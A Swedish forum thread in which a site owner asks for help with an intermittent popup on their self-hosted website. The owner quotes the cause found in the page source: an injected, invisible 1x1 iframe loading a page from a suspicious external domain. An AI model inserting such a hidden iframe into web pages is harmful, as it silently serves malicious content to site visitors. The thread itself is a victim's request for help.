[edited]

Tja!
Jag har fått problem med ett irriterande intrång. Jag kan inte fatta hur det går till.

Jag får upp en alert som säger något i stil med:
The page at htttp://surveystop.com says:

Jag hittar inget i varken kod eller databas.

Nån som varit med om nåt liknande och kan ge lite support?

[abergman]

Svårt att säga något utan att veta vilken site det är.

[danielnorin]

Menar du på din dator eller på webbservern?

[edited]

Det är på siten/servern

Det exekveras inte hela tiden, utan lite då och då och jag har personligen bara sett det en enda gång.

Hur får jag tag på det abergman?

Känner inte att jag vill diskuterad mer ingående här på forumet!

[pelmered]

Du måste ju i alla fall ge mer information än så.

Är det en fil som laddats upp eller ändrats på din server?

Har du tillgång till accessloggar o. dyl.?

[edited]

Kan tudligen inte bifoga en bild här på forumet....

hoppas att denna länk fungerar:
https://dl-web.dropbox.com/get/alert.jpg?w=860dabec

Men det kan jag endast hoppas, har aldrig skickat länkar till Dropbox på det här sättet tidigare.

[edited]

Nu har jag gjort ett fynd, på en PC.
Äntligen fick jag se popupen med egna ögon.

När jag då samtigit granskar koden via visa källkod ser jag:
<iframe src="http://thisisratio.ka.hn/showthread.php?t=41710003" width="1" height="1" frameborder="0"></iframe>

Går jag till den exakta URL;en så får jag upp exakt samma popup som på de ställen jag nämner ovan i koden.

Jag kan inte se detta på min Mac, och det kommer som sagt var inte upp hela tiden, verkar som den loggar vilken sida, ip och nät som jag använt för att besöka sidan som först visar denna popup.

Någon som har en aning om hur fan man blir av med sånt här?

[Wackerberg]

Jag kan inte se filen från dropbox. Därtill får du nog förklara lite bättre. Du har en egen server av något slag och dina besökare får popups?

[edited]

Jag har egen server, Linux.

Problemet är att jag får upp en popup, när jag öppnar en angiven sida på webbplatsen.
Denna popup visas inte jämt, men när jag undersöker koden på sidan som visas (på min webbplasts) ser jag följande kod (som jag själv inte applicerat):
<iframe src="http://thisisratio.ka.hn/showthread.php?t=41710003" width="1" height="1" frameborder="0"></iframe>

Om man öppnar upp URL;en så öppnas precis den popup som jag blir irriterad över.

Någon som har erfarenhet av detta?

Gjorde en google på ovan resultat:
http://www.avgthreatlabs.com/sitereports/domain/ka.hn/

begripper inte resultatet direkt närmare, men hoppas på att någon här har lite insikt i vad det kan handla om.

[edited]

hej igen!
ingen som varit med om ovan problem tidigare?